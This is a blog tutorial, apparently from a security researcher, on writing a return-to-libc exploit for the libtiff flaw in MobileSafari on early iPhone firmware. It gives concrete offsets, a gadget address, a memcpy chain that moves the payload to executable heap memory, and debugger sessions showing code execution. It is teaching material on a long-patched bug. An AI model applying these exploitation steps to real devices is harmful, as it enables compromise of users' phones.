Last updated at Wed, 26 Jul 2017 17:02:23 GMT

In part one of "Cracking the iPhone", I described the libtiff vulnerability, its impact on iPhone users, and released the first version of my hacked up debugger. In this post, I will walk through the process of actually writing the exploit.

First off, a new version of weasel (hdm-0.02) has been released. This version includes an entirely new disassembly backend, courtesy of libopcodes, and supports thumb-mode instructions. Thumb is a 16-bit instruction mode for ARM processors that is designed to save memory and speed up execution, especially on systems where filling the instruction cache is expensive.The libSystem.dylib (libc equivalent) on the iPhone contains both 32-bit and 16-bit functions. In order to disassemble a function as thumb mode, you will need to add one to the address. For example, if we disassemble the system() function as 32-bit ARM instructions, we get the following garbage:

[$3008b224 weasel] d 0x3002d0a0
0x3002d0a0      af03b5f0        swige   0x0003b5f0
0x3002d0a4      1e06b08d        cdpne   0, 0, cr11, cr6, cr13, {4}
0x3002d0a8      483cd109        ldmmida r12!, {r0, r3, r8, r12, lr, pc}

If we add one to 0x3002d0a0, we now get the proper disassembly:

[$3008b224 weasel] d 0x3002d0a1
0x3002d0a0      0000b5f0        push    {r4, r5, r6, r7, lr}
0x3002d0a2      0000af03        add     r7, sp, #12
0x3002d0a4      0000b08d        sub     sp, #52

On Mac OS X, many addresses are static within a process. System libraries are loaded at the same location within every process. The stack and heap are also predictable depending on the application state. These static addresses make up for two serious limitations that come into play when writing exploits for the ARM platform. The first issue, and one common to many other RISC processors, is the fact that the stack memory is marked non-executable. Unlike x86, we are not able to execute code on the stack, no matter how predictable the stack address is. The second limitation involves the instruction cache of the ARM processor. On many RISC platforms, including ARM and PowerPC, the memory executed by the processor is cached in a different physical cache than the data. It is possible for an exploit to write data to a location, but when that data is executed, for the previous data to be processed instead. This causes a problem for self-modifying code on the ARM processor. To make things worse, the only way to flush the ARM instruction cache is from kernel-mode, so unless a syscall is exported by the operating system, a workaround is needed.

In the case of the libtiff exploit, we can completely overwrite the stack, resulting in control of the return address. The stack address itself is static, and if this was x86, our exploit would already be done. Since the stack memory is non-executable, we need to look at other options for running code. The most direct option is to store the payload on the heap and then return directly to this heap address. Under MobileSafari, the heap addresses where the TIFF image is loaded change depending on what other sites the user has accessed. The second option is to use a return-to-libc technique. The idea is that since we control the data on the stack, and since many libraries receive their arguments via the stack, we can call any existing library function with almost arbitrary arguments. This can be used to execute a command via system() or make the stack executable by returning to mprotect(). The unlocker exploit released by Niacin and Dre used the return-to-libc technique to chain together multiple library calls in order to gain access to the iPhone's file system.

Starting at the beginning, lets take the original exploit released by Niacin and open it in a hex editor.

Starting at offset 0x84 (132), we see the stack arguments they pass to a system library function. If we look a bit further, to offset 0xFC (252), we see the return address they use to kick off the execution chain (0x3125368c). The first thing we want to do is delete all bytes after offset 0x84 (taking note of how many there were).

$ dd if=expval.tif of=myexploit.tif bs=1 count=132
$ ls -la  expval.tif myexploit.tif
-rw-r--r-- 1 hdm users 752 Oct 10 14:46 expval.tif
-rw-r--r-- 1 hdm users 132 Oct 14 23:06 myexploit.tif

Our new file is 620 bytes shorter than the original. We will re-add those 620 bytes, using a specific pattern generated by the pattern_create() function in the Metasploit Framework. This function is accessible through the normal Ruby API (Rex::Text.pattern_create) or by running the script tools/pattern_create.rb included with version 3.0 of the Metasploit Framework.

$ tools/pattern_create.rb 620 | perl -pe 'chomp' >> myexploit.tif
$ ls -la myexploit.tif
-rw-r--r-- 1 hdm users 752 Oct 14 23:15 myexploit.tif

This pattern is great for exploit development, because it allows us to determine exactly what offset into the buffer was used to fill a given register's value. For example, if we access myexploit.tif from the MobileSafari browser (after copying to a web server), the browser will crash and a crashdump will appear in /var/logs/CrashReporter on the iPhone. In the crashdump, the first thing we notice is the exception type and exception codes:

Exception Type:  EXC_BAD_ACCESS
Exception Codes: KERN_INVALID_ADDRESS at 0x41306540

The "invalid address" listed here is obviously part of the generated pattern (all alphanumeric, in the form of upper, digit, lower, upper). Further down in the crashdump, we see the values of the different registers:

  r0: 0x00000001    r1: 0x00000001      r2: 0x00000000
  r3: 0x307aa3f8r4:    0x35644134    r5: 0x41366441     
  r6: 0x64413764      r7: 0x39644138    r8: 0x31644130
  r9: 0x00819a00     r10: 0x41326441     r11: 0x64413364
  ip: 0x38514ed8    sp: 0x0055a638      lr: 0x3071e970
  pc: 0x41306540    cpsr: 0x20000030 instr: 0x00000000

All of the registers in bold are ones that we control based on the pattern we sent. The critical one here is the program counter (pc). Unlike the x86 platform, ARM allows a program to read and write the program counter (pc) directly. Instead of the clever jump-call-jump routines, we can simply access the pc register to determine where we are in memory. In this case, we see that the value has been set to 0x41306540. Since the iPhone runs the ARM processor in little-endian mode, we can use the tools/pattern_create.rb script included with the Metasploit Framework to determine exactly what offset into the buffer is written into the pc register.

$ tools/pattern_offset.rb 0x41306540 620
nil

This script produced a nil match. This value was not part of the buffer we sent. The reason is that the ARM processor silently drops the lower bits of the pc register. Since all functions on RISC processors must be word aligned (16/32/64), an address with the lowest bit set will be truncated. If we run the pattern_offset.rb script again, this time trying this address plus one, we find a match.

$ tools/pattern_offset.rb 0x41306541 620
120

At this point, we know that offset 120 into our buffer can be used to specify the return address. The next step is to return to something that is actually useful. As mentioned previously, we cannot return directly to the stack, since the stack is marked non-executable. We can use the modified weasel debugger to find our pattern in memory. The first thing we do is start up MobileSafari via the touch screen interface on the iPhone. Now, after logging in via SSH, and installing the weasel (hdm-0.02) binary into /usr/bin/weasel, we can attach to the process.

# ps aux | grep MobileSafari | grep -v grep | awk '{print $2}'
109
# weasel -p 109
[$3008b224 weasel]

Once attached, we hit "c" to continue execution, and then browse to the evil TIFF image. Weasel will catch the exception and drop us back to the prompt.

[$3008b224 weasel] c
Continuing.
Listening for exceptions.
Exceptional event received.
Inferior received exception 1, 2fffefa8.
[$3008b224 weasel]

From the weasel prompt, we use the "f" command to search for the first few bytes of our pattern, starting at address zero.

[$3008b224 weasel] f 0 Aa0A
0055a5bc  41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
00688b9c  41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0069075e  41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084e084  41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084e484  41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084f084  41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41

Now we can use the "r" command to dump the register state for all threads within this process.

[ thread 2 ]
r0: 0x00000001    r1:  0x00000001      r2:  0x00000000      r3:  0x307aa3f8
r4: 0x35644134    r5:  0x41366441      r6:  0x64413764      r7:  0x39644138
r8: 0x31644130    r9:  0x00819a00     r10:  0x41326441     r11:  0x64413364
ip: 0x38514ed8    sp:  0x0055a638      lr:  0x3071e970      pc:  0x41306540

The first thing we notice is that our string is located on the stack at 0x0055a5bc. We know this is the stack because the sp register is set to 0x0055a638, not too far away. If we repeat this process a few times (exit weasel, start MobileSafari, etc), we notice that the heap address where the TIFF file is stored changes, but this stack address is always the same.

We control the return address, we know the location on the stack where our string is stored, and we control quite a few other registers (r4, r5, r6, r7, r8, r9, r19, r11). Since our heap addresses keep changing, we need to find a static address, within a library, that we can return to in order to gain code execution. The way to find these functions is by disassembling the system libraries. Using the arm-apple-darwin-otool utility (included with iphone toolchain), we can disassemble all of libSystem.dylib and save the result in a file.

$ arm-apple-darwin-otool -tV  libSystem.dylib > system.txt

Once we have the disassembled version of this library, we can look for interesting functions. If we find a function that looks bogus (such as system()) in the disassembly, it may be in 16-bit thumb mode. In these cases, we can use weasel (weasel /bin/ls) to perform a thumb-mode disassembly on the function, by adding one to the address.

The memcpy() function is a great candidate for this exploit, since we could copy our static stack address to the heap, and then redirect exection back to this heap address to execute our code. The libSystem disassembly includes many calls to memcpy(), but the actual code for this function is not in the output. Using weasel, we first disassemble the address of function that calls memcpy().

# weasel /bin/ls
Read 735 symbols.
Starting process...
Process with PID 118 started...
[$3000d232 weasel] d 30005568
0x30005568      eb0369fa        bl      0x300dfd58
0x3000556c      e1a01004        mov     r1, r4

Now we disassemble the address that this function branches to.

[$3000d232 weasel] d 0x300dfd58
0x300dfd58      e59fc004        ldr     r12, [pc, #4]
0x300dfd5c      e08fc00c        add     r12, pc, r12
0x300dfd60      e59cf000        ldr     pc, [r12]
0x300dfd64      07f2759c        undefined

This is where things get interesting. This assembly is loading the address stored at 0x300dfd64 into the r12 register, then adding the pc register to this value, and then dereferencing a pointer at this value into pc. A zero offset from the pc register actually points eight bytes past the referring instruction (pc 4 = self 8). In this case, we add the address 0x300dfd64 to value at this address (0x07f2759c), resulting in 0x38007300. We now look at this address to find a pointer that hopefully takes us to the real memcpy() function.

[$3000d232 weasel] d 0x38007300
0x38007300      3009a1bc        (bogus instructions)

[$3000d232 weasel] d 3009a1bc
0x3009a1bc      e3520000        cmp     r2, #0  ; 0x0
0x3009a1c0      11500001        cmpne   r0, r1
0x3009a1c4      012fff1e        bxeq    lr

In the assembly above, we see that r2 is compared against zero. If this compare fails, then r0 is compared against r1. If either of these conditions match, this function returns back to the address stored in the link register. In the context of the memcpy() function, this first check is looking for a length value of zero, and the second check is ensuring that the destination address is not the same as the source address. We have found memcpy!

The trouble is, memcpy() looks at registers r0, r1, and r2 for its parameters. We don't control these registers, but we do control the stack. To get around this problem, we will look for another instruction within the system library that loads registers r0-r2 from the stack and still allows us to return to another address. A quick grep of the system.txt we created earlier results in the following matches.

$ egrep -i 'ldmia sp!,.*r0.*pc' system.txt
3009a4e4        e8bd80b1        ldmia sp!, {r0, r4, r5, r7, pc}
300df000        e8bd8001        ldmia sp!, {r0, pc}
300df800        e8bd800f        ldmia sp!, {r0, r1, r2, r3, pc}

The instruction at 0x300df800 is perfect. It loads r0-r3 from the stack, as well as pc, allowing us to return to yet another address stored on the stack. We open the TIFF image again in a hex editor, seek to offset 0xFC, and enter the address of this function into the TIFF image, in little endian byte order (00 df 0d 30). We start up MobileSafari, attach to the process from weasel, enter "c" to continue, and access the evil TIFF file again. Weasel catches exception, leaving us with the following register state.

[ thread 2 ]
r0: 0x65413165    r1:  0x33654132      r2:  0x41346541      r3:  0x65413565
r4: 0x35644134    r5:  0x41366441      r6:  0x64413764      r7:  0x39644138
r8: 0x31644130    r9:  0x00817a00     r10:  0x41326441     r11:  0x64413364
ip: 0x38514ed8    sp:  0x0055a64c      lr:  0x3071e970      pc:  0x37654134

We now have control of registers r0-r8, r10-r11, and pc. A little bit of legwork with pattern_offset.rb tells us that our new return address is at offset 0x110, r0 is 0x100, r1 is 0x104, and r2 is 0x108. To abuse memcpy(), we set r0 to be our destination address (free heap space), r1 to be our source address (the static stack address), and r2 to be length of our code. The "v" command can be used from inside weasel to dump all address mappings within the process. This speeds up the discovery of unused heap space.

[$3008b224 weasel] v
0x00001000 - 0x0006a000 (0x00069000 bytes)
0x0006b000 - 0x0006c000 (0x00001000 bytes)
0x0006d000 - 0x00200000 (0x00193000 bytes)
0x00201000 - 0x00459000 (0x00258000 bytes)

After poking around with the "p" command, the address 0x0006b400 seems like a good choice for free heap space. It is writable, executable, and unlikely to change between versions of Safari or system libraries. To summarize, we will place 0x0006b400 into r0, 0x0055a5bc into r1, 620 into r2, and 0x3009a1bc (memcpy) into pc. Once again, we patch up the TIFF file, open MobileSafari, attach to the process with weasel, and enter the "c" command to continue. When we browse to the evil TIFF file, weasel catches the exception, leaving us with the following.

[ thread 2 ]
r0: 0x0006b400    r1:  0x0008ba14      r2:  0x40000000      r3:  0x7041396f
r4: 0x35644134    r5:  0x41366441      r6:  0x64413764      r7:  0x39644138
r8: 0x31644130    r9:  0x00819a00     r10:  0x41326441     r11:  0x64413364
ip: 0x70413370    sp:  0x0055a64c      lr:  0x3071e970      pc:  0x3071e97c

The process crashed, so lets look at the code that pc points to.

[$3008b224 weasel] d 0x3071e97c
0x3071e97c      e5960000        ldr     r0, [r6]

The process is attempting to dereference a value from r6, which is controlled by us. This value is stored at offset 0xF4 in our buffer (discovered by pattern_offset.rb). We will patch this offset with a readable address, in this case the address at the end of our destination buffer in the heap ( 0x0006b400 620 ). Once again, we exit weasel, start MobileSafari, attach with weasel, and continue. We then access our yet-again modified TIFF image. This time, we get a new exception.

[ thread 2 ]
r0: 0x00000000    r1:  0x00000000      r2:  0x0000001d      r3:  0x0000000a
r4: 0x66413965    r5:  0x31664130      r6:  0x41326641      r7:  0x66413366
r8: 0x41386541    r9:  0x00819a00     r10:  0x41326441     r11:  0x64413364
ip: 0x00000004    sp:  0x0055a664      lr:  0x3071e98c      pc:  0x35664134

We are close to the end. At this point, if we look at 0x0006b400, we see a shiny new copy of the string we stored on the stack. The address at pc corresponds to offset 0x128 in the buffer. We can store our shellcode at offset 0x12C and  patch the return value with 0x0006b400 0xA4 to return back to it. A quick test, by setting offset 0x12C to 0xffffffff (an invalid instruction), demonstrates that this works. We have successfully exploited the iPhone libtiff vulnerability using a return-to-libc back to memcpy().

[ thread 2 ]
r0: 0x00000000    r1:  0x00000000      r2:  0x0000001d      r3:  0x0000000a
r4: 0x66413965    r5:  0x31664130      r6:  0x41326641      r7:  0x66413366
r8: 0x41386541    r9:  0x00819a00     r10:  0x41326441     r11:  0x64413364
ip: 0x00000004    sp:  0x0055a664      lr:  0x3071e98c      pc:  0x0006b4a8

[$3008b224 weasel] p 0x0006b4a8
0006b4a8  ff ff ff ff 66 37 41 66 38 41 66 39 41 67 30 41  ....f7Af8Af9Ag0A

As always, there are a few caveats. The first issue we run into is that all shellcode after ~340 bytes is being corrupted before the copy. Fortunately, most OS X shellcode (even ARM) is much smaller than 300 bytes, and this isn't an issue if we account for it. The second issue is that since MobileSafari is a multi-threaded application, the execve() system call will fail. The solution to this issue is to prepend a block of ARM assembly that executes the vfork() system call, kills the parent process, and executes the rest of the shellcode from within the child process. This problem is also present on PowerPC Mac OS X installations and requires the vfork trick there as well.

While using a hex editor to write this exploit is possible, the Metasploit Framework provides a much easier method of testing different contents for the TIFF file. A working exploit for this flaw (successfully tested on 1.00 and 1.02 firmwares) can be found in the development version of the Metasploit Framework (available via Subversion). A direct link to the latest version of this exploit can be found here.

This exploit works great on modified iPhones that have an existing /bin/sh, but will fail on unmodified iPhones. The next part in this series will cover developing shellcode for unmodified phones, so check back soon.